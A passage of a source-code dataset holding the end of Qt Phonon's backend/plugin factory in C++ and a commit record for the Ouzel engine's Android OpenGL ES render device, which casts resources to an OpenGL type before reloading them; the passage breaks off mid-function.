<QtCore\/QCoreApplication>\n#include <QtCore\/QDir>\n#include <QtCore\/QFile>\n#include <QtCore\/QLibrary>\n#include <QtCore\/QList>\n#include <QtCore\/QPluginLoader>\n#include <QtCore\/QPointer>\n#include <QtGui\/QIcon>\n#ifndef QT_NO_DBUS\n#include <QtDBus\/QtDBus>\n#endif\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\n\nclass PlatformPlugin;\nclass FactoryPrivate : public Phonon::Factory::Sender\n{\n    friend QObject *Factory::backend(bool);\n    Q_OBJECT\n    public:\n        FactoryPrivate();\n        ~FactoryPrivate();\n        bool createBackend();\n        PlatformPlugin *platformPlugin();\n\n        QPointer<QObject> m_backendObject;\n        PlatformPlugin *m_platformPlugin;\n        bool m_noPlatformPlugin;\n\n        QList<QObject *> objects;\n        QList<MediaNodePrivate *> mediaNodePrivateList;\n\n    private Q_SLOTS:\n        \/**\n         * This is called via DBUS when the user changes the Phonon Backend.\n         *\/\n        void phononBackendChanged();\n\n        \/**\n         * unregisters the backend object\n         *\/\n        void objectDestroyed(QObject *);\n\n        void objectDescriptionChanged(ObjectDescriptionType);\n};\n\nPHONON_GLOBAL_STATIC(Phonon::FactoryPrivate, globalFactory)\n\nvoid Factory::setBackend(QObject *b)\n{\n    Q_ASSERT(globalFactory->m_backendObject == 0);\n    globalFactory->m_backendObject = b;\n}\n\n\/*void Factory::createBackend(const QString &library, const QString &version)\n{\n    Q_ASSERT(globalFactory->m_backendObject == 0);\n    PlatformPlugin *f = globalFactory->platformPlugin();\n    if (f) {\n        globalFactory->m_backendObject = f->createBackend(library, version);\n    }\n}*\/\n\nbool FactoryPrivate::createBackend()\n{\n    Q_ASSERT(m_backendObject == 0);\n    PlatformPlugin *f = globalFactory->platformPlugin();\n    if (f) {\n        m_backendObject = f->createBackend();\n    }\n    if (!m_backendObject) {\n        \/\/ could not load a backend through the platform plugin. Falling back to the default\n        \/\/ (finding the first loadable backend).\n        const QLatin1String suffix(\"\/phonon_backend\/\");\n        foreach (QString libPath, QCoreApplication::libraryPaths()) {\n            libPath += suffix;\n            const QDir dir(libPath);\n            if (!dir.exists()) {\n                pDebug() << Q_FUNC_INFO << dir.absolutePath() << \"does not exist\";\n                continue;\n            }\n            foreach (const QString &pluginName, dir.entryList(QDir::Files)) {\n                QPluginLoader pluginLoader(libPath + pluginName);\n                if (!pluginLoader.load()) {\n                    pDebug() << Q_FUNC_INFO << \"  load failed:\"\n                             << pluginLoader.errorString();\n                    continue;\n                }\n                pDebug() << pluginLoader.instance();\n                m_backendObject = pluginLoader.instance();\n                if (m_backendObject) {\n                    break;\n                }\n\n                \/\/ no backend found, don't leave an unused plugin in memory\n                pluginLoader.unload();\n            }\n\n            if (m_backendObject) {\n                break;\n            }\n        }\n        if (!m_backendObject) {\n            pWarning() << Q_FUNC_INFO << \"phonon backend plugin could not be loaded\";\n            return false;\n        }\n    }\n\n    connect(m_backendObject, SIGNAL(objectDescriptionChanged(ObjectDescriptionType)),\n            SLOT(objectDescriptionChanged(ObjectDescriptionType)));\n\n    return true;\n}\n\nFactoryPrivate::FactoryPrivate()\n    : m_backendObject(0),\n    m_platformPlugin(0),\n    m_noPlatformPlugin(false)\n{\n    \/\/ Add the post routine to make sure that all other global statics (especially the ones from Qt)\n    \/\/ are still available. If the FactoryPrivate dtor is called too late many bad things can happen\n    \/\/ as the whole backend might still be alive.\n    qAddPostRoutine(globalFactory.destroy);\n#ifndef QT_NO_DBUS\n    QDBusConnection::sessionBus().connect(QString(), QString(), \"org.kde.Phonon.Factory\",\n            \"phononBackendChanged\", this, SLOT(phononBackendChanged()));\n#endif\n}\n\nFactoryPrivate::~FactoryPrivate()\n{\n    foreach (QObject *o, objects) {\n        MediaObject *m = qobject_cast<MediaObject *>(o);\n        if (m) {\n            m->stop();\n        }\n    }\n    foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n        bp->deleteBackendObject();\n    }\n    if (objects.size() > 0) {\n        pError() << \"The backend objects are not deleted as was requested.\";\n        qDeleteAll(objects);\n    }\n    delete m_backendObject;\n    delete m_platformPlugin;\n}\n\nvoid FactoryPrivate::objectDescriptionChanged(ObjectDescriptionType type)\n{\n#ifdef PHONON_METHODTEST\n    Q_UNUSED(type);\n#else\n    pDebug() << Q_FUNC_INFO << type;\n    switch (type) {\n    case AudioOutputDeviceType:\n        emit availableAudioOutputDevicesChanged();\n        break;\n    default:\n        break;\n    }\n    \/\/emit capabilitiesChanged();\n#endif \/\/ PHONON_METHODTEST\n}\n\nFactory::Sender *Factory::sender()\n{\n    return globalFactory;\n}\n\nbool Factory::isMimeTypeAvailable(const QString &mimeType)\n{\n    PlatformPlugin *f = globalFactory->platformPlugin();\n    if (f) {\n        return f->isMimeTypeAvailable(mimeType);\n    }\n    return true; \/\/ the MIME type might be supported, let BackendCapabilities find out\n}\n\nvoid Factory::registerFrontendObject(MediaNodePrivate *bp)\n{\n    globalFactory->mediaNodePrivateList.prepend(bp); \/\/ inserted last => deleted first\n}\n\nvoid Factory::deregisterFrontendObject(MediaNodePrivate *bp)\n{\n    \/\/ The Factory can already be cleaned up while there are other frontend objects still alive.\n    \/\/ When those are deleted they'll call deregisterFrontendObject through ~BasePrivate\n    if (!globalFactory.isDestroyed()) {\n        globalFactory->mediaNodePrivateList.removeAll(bp);\n    }\n}\n\nvoid FactoryPrivate::phononBackendChanged()\n{\n    if (m_backendObject) {\n        foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n            bp->deleteBackendObject();\n        }\n        if (objects.size() > 0) {\n            pDebug() << \"WARNING: we were asked to change the backend but the application did\\n\"\n                \"not free all references to objects created by the factory. Therefore we can not\\n\"\n                \"change the backend without crashing. Now we have to wait for a restart to make\\n\"\n                \"backendswitching possible.\";\n            \/\/ in case there were objects deleted give 'em a chance to recreate\n            \/\/ them now\n            foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n                bp->createBackendObject();\n            }\n            return;\n        }\n        delete m_backendObject;\n        m_backendObject = 0;\n    }\n    createBackend();\n    foreach (MediaNodePrivate *bp, mediaNodePrivateList) {\n        bp->createBackendObject();\n    }\n    emit backendChanged();\n}\n\n\/\/X void Factory::freeSoundcardDevices()\n\/\/X {\n\/\/X     if (globalFactory->backend) {\n\/\/X         globalFactory->backend->freeSoundcardDevices();\n\/\/X     }\n\/\/X }\n\nvoid FactoryPrivate::objectDestroyed(QObject * obj)\n{\n    \/\/pDebug() << Q_FUNC_INFO << obj;\n    objects.removeAll(obj);\n}\n\n#define FACTORY_IMPL(classname) \\\nQObject *Factory::create ## classname(QObject *parent) \\\n{ \\\n    if (backend()) { \\\n        return registerQObject(qobject_cast<BackendInterface *>(backend())->createObject(BackendInterface::classname##Class, parent)); \\\n    } \\\n    return 0; \\\n}\n#define FACTORY_IMPL_1ARG(classname) \\\nQObject *Factory::create ## classname(int arg1, QObject *parent) \\\n{ \\\n    if (backend()) { \\\n        return registerQObject(qobject_cast<BackendInterface *>(backend())->createObject(BackendInterface::classname##Class, parent, QList<QVariant>() << arg1)); \\\n    } \\\n    return 0; \\\n}\n\nFACTORY_IMPL(MediaObject)\nFACTORY_IMPL_1ARG(Effect)\nFACTORY_IMPL(VolumeFaderEffect)\nFACTORY_IMPL(AudioOutput)\nFACTORY_IMPL(AudioDataOutput)\nFACTORY_IMPL(Visualization)\nFACTORY_IMPL(VideoDataOutput)\nFACTORY_IMPL(VideoWidget)\n\n#undef FACTORY_IMPL\n\nPlatformPlugin *FactoryPrivate::platformPlugin()\n{\n    if (m_platformPlugin) {\n        return m_platformPlugin;\n    }\n    if (m_noPlatformPlugin) {\n        return 0;\n    }\n#ifndef QT_NO_DBUS\n    if (!QCoreApplication::instance() || QCoreApplication::applicationName().isEmpty()) {\n        pWarning() << \"Phonon needs QCoreApplication::applicationName to be set to export audio output names through the DBUS interface\";\n    }\n#endif\n    const QString suffix(QLatin1String(\"\/phonon_platform\/\"));\n    Q_ASSERT(QCoreApplication::instance());\n    foreach (QString libPath, QCoreApplication::libraryPaths()) {\n        libPath += suffix;\n        const QDir dir(libPath);\n        if (!dir.exists()) {\n            pDebug() << Q_FUNC_INFO << dir.absolutePath() << \"does not exist\";\n            continue;\n        }\n        foreach (const QString &pluginName, dir.entryList(QDir::Files)) {\n            QPluginLoader pluginLoader(libPath + pluginName);\n            if (!pluginLoader.load()) {\n                pDebug() << Q_FUNC_INFO << \"  platform plugin load failed:\"\n                    << pluginLoader.errorString();\n                continue;\n            }\n            pDebug() << pluginLoader.instance();\n            QObject *qobj = pluginLoader.instance();\n            m_platformPlugin = qobject_cast<PlatformPlugin *>(qobj);\n            pDebug() << m_platformPlugin;\n            if (m_platformPlugin) {\n                connect(qobj, SIGNAL(objectDescriptionChanged(ObjectDescriptionType)),\n                        SLOT(objectDescriptionChanged(ObjectDescriptionType)));\n                return m_platformPlugin;\n            } else {\n                pDebug() << Q_FUNC_INFO << dir.absolutePath() << \"exists but the platform plugin was not loadable:\" << pluginLoader.errorString();\n                pluginLoader.unload();\n            }\n        }\n    }\n    pDebug() << Q_FUNC_INFO << \"phonon_platform\/kde plugin could not be loaded\";\n    m_noPlatformPlugin = true;\n    return 0;\n}\n\nPlatformPlugin *Factory::platformPlugin()\n{\n    return globalFactory->platformPlugin();\n}\n\nQObject *Factory::backend(bool createWhenNull)\n{\n    if (globalFactory.isDestroyed()) {\n        return 0;\n    }\n    if (createWhenNull && globalFactory->m_backendObject == 0) {\n        globalFactory->createBackend();\n        \/\/ XXX: might create \"reentrancy\" problems:\n        \/\/ a method calls this method and is called again because the\n        \/\/ backendChanged signal is emitted\n        emit globalFactory->backendChanged();\n    }\n    return globalFactory->m_backendObject;\n}\n\n#define GET_STRING_PROPERTY(name) \\\nQString Factory::name() \\\n{ \\\n    if (globalFactory->m_backendObject) { \\\n        return globalFactory->m_backendObject->property(#name).toString(); \\\n    } \\\n    return QString(); \\\n} \\\n\nGET_STRING_PROPERTY(identifier)\nGET_STRING_PROPERTY(backendName)\nGET_STRING_PROPERTY(backendComment)\nGET_STRING_PROPERTY(backendVersion)\nGET_STRING_PROPERTY(backendIcon)\nGET_STRING_PROPERTY(backendWebsite)\n\nQObject *Factory::registerQObject(QObject *o)\n{\n    if (o) {\n        QObject::connect(o, SIGNAL(destroyed(QObject *)), globalFactory, SLOT(objectDestroyed(QObject *)), Qt::DirectConnection);\n        globalFactory->objects.append(o);\n    }\n    return o;\n}\n\n} \/\/namespace Phonon\n\nQT_END_NAMESPACE\n\n#include \"factory.moc\"\n#include \"moc_factory_p.cpp\"\n\n\/\/ vim: sw=4 ts=4\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015-2018 Elviss Strazdins. All rights reserved.\n\n#include \"core\/Setup.h\"\n\n#if OUZEL_PLATFORM_ANDROID && OUZEL_COMPILE_OPENGL\n\n#include \"RenderDeviceOGLAndroid.hpp\"\n#include \"core\/android\/NativeWindowAndroid.hpp\"\n#include \"core\/Engine.hpp\"\n#include \"utils\/Errors.hpp\"\n#include \"utils\/Log.hpp\"\n#include \"utils\/Utils.hpp\"\n\nnamespace ouzel\n{\n    namespace graphics\n    {\n        RenderDeviceOGLAndroid::~RenderDeviceOGLAndroid()\n        {\n            running = false;\n            flushCommands();\n            if (renderThread.joinable()) renderThread.join();\n\n            if (context)\n            {\n                eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);\n                eglDestroyContext(display, context);\n            }\n\n            if (surface)\n                eglDestroySurface(display, surface);\n\n            if (display)\n                eglTerminate(display);\n        }\n\n        void RenderDeviceOGLAndroid::init(Window* newWindow,\n                                          const Size2&,\n                                          uint32_t newSampleCount,\n                                          Texture::Filter newTextureFilter,\n                                          uint32_t newMaxAnisotropy,\n                                          bool newVerticalSync,\n                                          bool newDepth,\n                                          bool newDebugRenderer)\n        {\n            display = eglGetDisplay(EGL_DEFAULT_DISPLAY);\n\n            if (!display)\n                throw SystemError(\"Failed to get display\");\n\n            if (!eglInitialize(display, nullptr, nullptr))\n                throw SystemError(\"Failed to initialize EGL\");\n\n            const EGLint attributeList[] =\n            {\n                EGL_RED_SIZE, 8,\n                EGL_GREEN_SIZE, 8,\n                EGL_BLUE_SIZE, 8,\n                EGL_ALPHA_SIZE, 8,\n                EGL_DEPTH_SIZE, newDepth ? 24 : 0,\n                EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n                EGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n                EGL_SAMPLE_BUFFERS, (newSampleCount > 1) ? 1 : 0,\n                EGL_SAMPLES, static_cast<int>(newSampleCount),\n                EGL_NONE\n            };\n            EGLConfig config;\n            EGLint numConfig;\n            if (!eglChooseConfig(display, attributeList, &config, 1, &numConfig))\n                throw SystemError(\"Failed to choose EGL config\");\n\n            if (!eglBindAPI(EGL_OPENGL_ES_API))\n                throw SystemError(\"Failed to bind OpenGL ES API\");\n\n            EGLint format;\n            if (!eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format))\n                throw SystemError(\"Failed to get config attribute \" + std::to_string(eglGetError()));\n\n            NativeWindowAndroid* windowAndroid = static_cast<NativeWindowAndroid*>(newWindow->getNativeWindow());\n\n            ANativeWindow_setBuffersGeometry(windowAndroid->getNativeWindow(), 0, 0, format);\n\n            surface = eglCreateWindowSurface(display, config, windowAndroid->getNativeWindow(), nullptr);\n            if (surface == EGL_NO_SURFACE)\n                throw SystemError(\"Failed to create EGL window surface\");\n\n            for (EGLint version = 3; version >= 2; --version)\n            {\n                std::vector<EGLint> contextAttributes =\n                {\n                    EGL_CONTEXT_CLIENT_VERSION, version\n                };\n\n                if (newDebugRenderer)\n                {\n                    contextAttributes.push_back(EGL_CONTEXT_FLAGS_KHR);\n                    contextAttributes.push_back(EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR);\n                }\n\n                contextAttributes.push_back(EGL_NONE);\n\n                context = eglCreateContext(display, config, EGL_NO_CONTEXT, contextAttributes.data());\n\n                if (context != EGL_NO_CONTEXT)\n                {\n                    apiMajorVersion = version;\n                    apiMinorVersion = 0;\n                    Log(Log::Level::INFO) << \"EGL OpenGL ES \" << version << \" context created\";\n                    break;\n                }\n            }\n\n            if (context == EGL_NO_CONTEXT)\n                throw SystemError(\"Failed to create EGL context\");\n\n            if (!eglMakeCurrent(display, surface, surface, context))\n                throw SystemError(\"Failed to set current EGL context\");\n\n            if (!eglSwapInterval(display, newVerticalSync ? 1 : 0))\n                throw SystemError(\"Failed to set EGL frame interval\");\n\n            EGLint surfaceWidth;\n            EGLint surfaceHeight;\n\n            if (!eglQuerySurface(display, surface, EGL_WIDTH, &surfaceWidth) ||\n                !eglQuerySurface(display, surface, EGL_HEIGHT, &surfaceHeight))\n                throw SystemError(\"Failed to get query window size, error: \" + std::to_string(eglGetError()));\n\n            frameBufferWidth = surfaceWidth;\n            frameBufferHeight = surfaceHeight;\n\n            Size2 backBufferSize = Size2(static_cast<float>(frameBufferWidth),\n                                         static_cast<float>(frameBufferHeight));\n\n            RenderDeviceOGL::init(newWindow,\n                                  backBufferSize,\n                                  newSampleCount,\n                                  newTextureFilter,\n                                  newMaxAnisotropy,\n                                  newVerticalSync,\n                                  newDepth,\n                                  newDebugRenderer);\n\n            if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                throw SystemError(\"Failed to unset EGL context\");\n\n            running = true;\n            renderThread = std::thread(&RenderDeviceOGLAndroid::main, this);\n        }\n\n        void RenderDeviceOGLAndroid::reload()\n        {\n            running = false;\n            flushCommands();\n            if (renderThread.joinable()) renderThread.join();\n\n            const EGLint attributeList[] =\n            {\n                EGL_RED_SIZE, 8,\n                EGL_GREEN_SIZE, 8,\n                EGL_BLUE_SIZE, 8,\n                EGL_ALPHA_SIZE, 8,\n                EGL_DEPTH_SIZE, depth ? 24 : 0,\n                EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n                EGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n                EGL_SAMPLE_BUFFERS, (sampleCount > 1) ? 1 : 0,\n                EGL_SAMPLES, static_cast<int>(sampleCount),\n                EGL_NONE\n            };\n            EGLConfig config;\n            EGLint numConfig;\n            if (!eglChooseConfig(display, attributeList, &config, 1, &numConfig))\n                throw SystemError(\"Failed to choose EGL config\");\n\n            if (!eglBindAPI(EGL_OPENGL_ES_API))\n                throw SystemError(\"Failed to bind OpenGL ES API\");\n\n            EGLint format;\n            if (!eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format))\n                throw SystemError(\"Failed to get config attribute \" + std::to_string(eglGetError()));\n\n            NativeWindowAndroid* windowAndroid = static_cast<NativeWindowAndroid*>(window->getNativeWindow());\n\n            ANativeWindow_setBuffersGeometry(windowAndroid->getNativeWindow(), 0, 0, format);\n\n            surface = eglCreateWindowSurface(display, config, windowAndroid->getNativeWindow(), nullptr);\n            if (surface == EGL_NO_SURFACE)\n                throw SystemError(\"Failed to create EGL window surface\");\n\n            for (EGLint version = 3; version >= 2; --version)\n            {\n                std::vector<EGLint> contextAttributes =\n                {\n                    EGL_CONTEXT_CLIENT_VERSION, version\n                };\n\n                if (debugRenderer)\n                {\n                    contextAttributes.push_back(EGL_CONTEXT_FLAGS_KHR);\n                    contextAttributes.push_back(EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR);\n                }\n\n                contextAttributes.push_back(EGL_NONE);\n\n                context = eglCreateContext(display, config, EGL_NO_CONTEXT, contextAttributes.data());\n\n                if (context != EGL_NO_CONTEXT)\n                {\n                    apiMajorVersion = version;\n                    apiMinorVersion = 0;\n                    Log(Log::Level::INFO) << \"EGL OpenGL ES \" << version << \" context created\";\n                    break;\n                }\n            }\n\n            if (context == EGL_NO_CONTEXT)\n                throw SystemError(\"Failed to create EGL context\");\n\n            if (!eglMakeCurrent(display, surface, surface, context))\n                throw SystemError(\"Failed to set current EGL context\");\n\n            if (!eglSwapInterval(display, verticalSync ? 1 : 0))\n                throw SystemError(\"Failed to set EGL frame interval\");\n\n            EGLint surfaceWidth;\n            EGLint surfaceHeight;\n\n            if (!eglQuerySurface(display, surface, EGL_WIDTH, &surfaceWidth) ||\n                !eglQuerySurface(display, surface, EGL_HEIGHT, &surfaceHeight))\n                throw SystemError(\"Failed to get query window size \" + std::to_string(eglGetError()));\n\n            frameBufferWidth = surfaceWidth;\n            frameBufferHeight = surfaceHeight;\n\n            stateCache = StateCache();\n\n            glDisable(GL_DITHER);\n            glDepthFunc(GL_LEQUAL);\n\n            GLenum error;\n\n            if ((error = glGetError()) != GL_NO_ERROR)\n                throw SystemError(\"Failed to set depth function, error: \" + std::to_string(error));\n\n            if (glGenVertexArraysProc) glGenVertexArraysProc(1, &vertexArrayId);\n\n            {\n                std::unique_lock<std::mutex> lock(resourceMutex);\n\n                for (const std::unique_ptr<RenderResource>& resource : resources)\n                    resource->reload();\n            }\n\n            if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                throw SystemError(\"Failed to unset EGL context\");\n\n            running = true;\n            renderThread = std::thread(&RenderDeviceOGLAndroid::main, this);\n        }\n\n        void RenderDeviceOGLAndroid::destroy()\n        {\n            running = false;\n            flushCommands();\n            if (renderThread.joinable()) renderThread.join();\n\n            if (context)\n            {\n                if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                    Log(Log::Level::ERR) << \"Failed to unset EGL context\";\n\n                if (!eglDestroyContext(display, context))\n                    Log(Log::Level::ERR) << \"Failed to destroy EGL context\";\n\n                context = nullptr;\n            }\n\n            if (surface)\n            {\n                if (!eglDestroySurface(display, surface))\n                    Log(Log::Level::ERR) << \"Failed to destroy EGL surface\";\n\n                surface = nullptr;\n            }\n        }\n\n        void RenderDeviceOGLAndroid::present()\n        {\n            if (eglSwapBuffers(display, surface) != EGL_TRUE)\n                throw SystemError(\"Failed to swap buffers, error: \" + std::to_string(eglGetError()));\n        }\n\n        void RenderDeviceOGLAndroid::main()\n        {\n            setCurrentThreadName(\"Render\");\n\n            if (!eglMakeCurrent(display, surface, surface, context))\n                throw SystemError(\"Failed to set current EGL context, error: \" + std::to_string(eglGetError()));\n\n            while (running)\n            {\n                try\n                {\n                    process();\n                }\n                catch (const std::exception& e)\n                {\n                    Log(Log::Level::ERR) << e.what();\n                }\n                catch (...)\n                {\n                    Log(Log::Level::ERR) << \"Unknown error occurred\";\n                }\n            }\n\n            if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                Log(Log::Level::ERR) << \"Failed to unset EGL context, error: \" << eglGetError();\n        }\n    } \/\/ namespace graphics\n} \/\/ namespace ouzel\n\n#endif\n<commit_msg>Cast the RenderResource to RenderResourceOGL before calling reload() on it<commit_after>\/\/ Copyright 2015-2018 Elviss Strazdins. All rights reserved.\n\n#include \"core\/Setup.h\"\n\n#if OUZEL_PLATFORM_ANDROID && OUZEL_COMPILE_OPENGL\n\n#include \"RenderDeviceOGLAndroid.hpp\"\n#include \"core\/android\/NativeWindowAndroid.hpp\"\n#include \"core\/Engine.hpp\"\n#include \"utils\/Errors.hpp\"\n#include \"utils\/Log.hpp\"\n#include \"utils\/Utils.hpp\"\n\nnamespace ouzel\n{\n    namespace graphics\n    {\n        RenderDeviceOGLAndroid::~RenderDeviceOGLAndroid()\n        {\n            running = false;\n            flushCommands();\n            if (renderThread.joinable()) renderThread.join();\n\n            if (context)\n            {\n                eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT);\n                eglDestroyContext(display, context);\n            }\n\n            if (surface)\n                eglDestroySurface(display, surface);\n\n            if (display)\n                eglTerminate(display);\n        }\n\n        void RenderDeviceOGLAndroid::init(Window* newWindow,\n                                          const Size2&,\n                                          uint32_t newSampleCount,\n                                          Texture::Filter newTextureFilter,\n                                          uint32_t newMaxAnisotropy,\n                                          bool newVerticalSync,\n                                          bool newDepth,\n                                          bool newDebugRenderer)\n        {\n            display = eglGetDisplay(EGL_DEFAULT_DISPLAY);\n\n            if (!display)\n                throw SystemError(\"Failed to get display\");\n\n            if (!eglInitialize(display, nullptr, nullptr))\n                throw SystemError(\"Failed to initialize EGL\");\n\n            const EGLint attributeList[] =\n            {\n                EGL_RED_SIZE, 8,\n                EGL_GREEN_SIZE, 8,\n                EGL_BLUE_SIZE, 8,\n                EGL_ALPHA_SIZE, 8,\n                EGL_DEPTH_SIZE, newDepth ? 24 : 0,\n                EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n                EGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n                EGL_SAMPLE_BUFFERS, (newSampleCount > 1) ? 1 : 0,\n                EGL_SAMPLES, static_cast<int>(newSampleCount),\n                EGL_NONE\n            };\n            EGLConfig config;\n            EGLint numConfig;\n            if (!eglChooseConfig(display, attributeList, &config, 1, &numConfig))\n                throw SystemError(\"Failed to choose EGL config\");\n\n            if (!eglBindAPI(EGL_OPENGL_ES_API))\n                throw SystemError(\"Failed to bind OpenGL ES API\");\n\n            EGLint format;\n            if (!eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format))\n                throw SystemError(\"Failed to get config attribute \" + std::to_string(eglGetError()));\n\n            NativeWindowAndroid* windowAndroid = static_cast<NativeWindowAndroid*>(newWindow->getNativeWindow());\n\n            ANativeWindow_setBuffersGeometry(windowAndroid->getNativeWindow(), 0, 0, format);\n\n            surface = eglCreateWindowSurface(display, config, windowAndroid->getNativeWindow(), nullptr);\n            if (surface == EGL_NO_SURFACE)\n                throw SystemError(\"Failed to create EGL window surface\");\n\n            for (EGLint version = 3; version >= 2; --version)\n            {\n                std::vector<EGLint> contextAttributes =\n                {\n                    EGL_CONTEXT_CLIENT_VERSION, version\n                };\n\n                if (newDebugRenderer)\n                {\n                    contextAttributes.push_back(EGL_CONTEXT_FLAGS_KHR);\n                    contextAttributes.push_back(EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR);\n                }\n\n                contextAttributes.push_back(EGL_NONE);\n\n                context = eglCreateContext(display, config, EGL_NO_CONTEXT, contextAttributes.data());\n\n                if (context != EGL_NO_CONTEXT)\n                {\n                    apiMajorVersion = version;\n                    apiMinorVersion = 0;\n                    Log(Log::Level::INFO) << \"EGL OpenGL ES \" << version << \" context created\";\n                    break;\n                }\n            }\n\n            if (context == EGL_NO_CONTEXT)\n                throw SystemError(\"Failed to create EGL context\");\n\n            if (!eglMakeCurrent(display, surface, surface, context))\n                throw SystemError(\"Failed to set current EGL context\");\n\n            if (!eglSwapInterval(display, newVerticalSync ? 1 : 0))\n                throw SystemError(\"Failed to set EGL frame interval\");\n\n            EGLint surfaceWidth;\n            EGLint surfaceHeight;\n\n            if (!eglQuerySurface(display, surface, EGL_WIDTH, &surfaceWidth) ||\n                !eglQuerySurface(display, surface, EGL_HEIGHT, &surfaceHeight))\n                throw SystemError(\"Failed to get query window size, error: \" + std::to_string(eglGetError()));\n\n            frameBufferWidth = surfaceWidth;\n            frameBufferHeight = surfaceHeight;\n\n            Size2 backBufferSize = Size2(static_cast<float>(frameBufferWidth),\n                                         static_cast<float>(frameBufferHeight));\n\n            RenderDeviceOGL::init(newWindow,\n                                  backBufferSize,\n                                  newSampleCount,\n                                  newTextureFilter,\n                                  newMaxAnisotropy,\n                                  newVerticalSync,\n                                  newDepth,\n                                  newDebugRenderer);\n\n            if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                throw SystemError(\"Failed to unset EGL context\");\n\n            running = true;\n            renderThread = std::thread(&RenderDeviceOGLAndroid::main, this);\n        }\n\n        void RenderDeviceOGLAndroid::reload()\n        {\n            running = false;\n            flushCommands();\n            if (renderThread.joinable()) renderThread.join();\n\n            const EGLint attributeList[] =\n            {\n                EGL_RED_SIZE, 8,\n                EGL_GREEN_SIZE, 8,\n                EGL_BLUE_SIZE, 8,\n                EGL_ALPHA_SIZE, 8,\n                EGL_DEPTH_SIZE, depth ? 24 : 0,\n                EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,\n                EGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n                EGL_SAMPLE_BUFFERS, (sampleCount > 1) ? 1 : 0,\n                EGL_SAMPLES, static_cast<int>(sampleCount),\n                EGL_NONE\n            };\n            EGLConfig config;\n            EGLint numConfig;\n            if (!eglChooseConfig(display, attributeList, &config, 1, &numConfig))\n                throw SystemError(\"Failed to choose EGL config\");\n\n            if (!eglBindAPI(EGL_OPENGL_ES_API))\n                throw SystemError(\"Failed to bind OpenGL ES API\");\n\n            EGLint format;\n            if (!eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format))\n                throw SystemError(\"Failed to get config attribute \" + std::to_string(eglGetError()));\n\n            NativeWindowAndroid* windowAndroid = static_cast<NativeWindowAndroid*>(window->getNativeWindow());\n\n            ANativeWindow_setBuffersGeometry(windowAndroid->getNativeWindow(), 0, 0, format);\n\n            surface = eglCreateWindowSurface(display, config, windowAndroid->getNativeWindow(), nullptr);\n            if (surface == EGL_NO_SURFACE)\n                throw SystemError(\"Failed to create EGL window surface\");\n\n            for (EGLint version = 3; version >= 2; --version)\n            {\n                std::vector<EGLint> contextAttributes =\n                {\n                    EGL_CONTEXT_CLIENT_VERSION, version\n                };\n\n                if (debugRenderer)\n                {\n                    contextAttributes.push_back(EGL_CONTEXT_FLAGS_KHR);\n                    contextAttributes.push_back(EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR);\n                }\n\n                contextAttributes.push_back(EGL_NONE);\n\n                context = eglCreateContext(display, config, EGL_NO_CONTEXT, contextAttributes.data());\n\n                if (context != EGL_NO_CONTEXT)\n                {\n                    apiMajorVersion = version;\n                    apiMinorVersion = 0;\n                    Log(Log::Level::INFO) << \"EGL OpenGL ES \" << version << \" context created\";\n                    break;\n                }\n            }\n\n            if (context == EGL_NO_CONTEXT)\n                throw SystemError(\"Failed to create EGL context\");\n\n            if (!eglMakeCurrent(display, surface, surface, context))\n                throw SystemError(\"Failed to set current EGL context\");\n\n            if (!eglSwapInterval(display, verticalSync ? 1 : 0))\n                throw SystemError(\"Failed to set EGL frame interval\");\n\n            EGLint surfaceWidth;\n            EGLint surfaceHeight;\n\n            if (!eglQuerySurface(display, surface, EGL_WIDTH, &surfaceWidth) ||\n                !eglQuerySurface(display, surface, EGL_HEIGHT, &surfaceHeight))\n                throw SystemError(\"Failed to get query window size \" + std::to_string(eglGetError()));\n\n            frameBufferWidth = surfaceWidth;\n            frameBufferHeight = surfaceHeight;\n\n            stateCache = StateCache();\n\n            glDisable(GL_DITHER);\n            glDepthFunc(GL_LEQUAL);\n\n            GLenum error;\n\n            if ((error = glGetError()) != GL_NO_ERROR)\n                throw SystemError(\"Failed to set depth function, error: \" + std::to_string(error));\n\n            if (glGenVertexArraysProc) glGenVertexArraysProc(1, &vertexArrayId);\n\n            {\n                std::unique_lock<std::mutex> lock(resourceMutex);\n\n                for (const std::unique_ptr<RenderResource>& resource : resources)\n                    static_cast<RenderResourceOGL*>(resource)->reload();\n            }\n\n            if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                throw SystemError(\"Failed to unset EGL context\");\n\n            running = true;\n            renderThread = std::thread(&RenderDeviceOGLAndroid::main, this);\n        }\n\n        void RenderDeviceOGLAndroid::destroy()\n        {\n            running = false;\n            flushCommands();\n            if (renderThread.joinable()) renderThread.join();\n\n            if (context)\n            {\n                if (!eglMakeCurrent(display, EGL_NO_SURFACE, 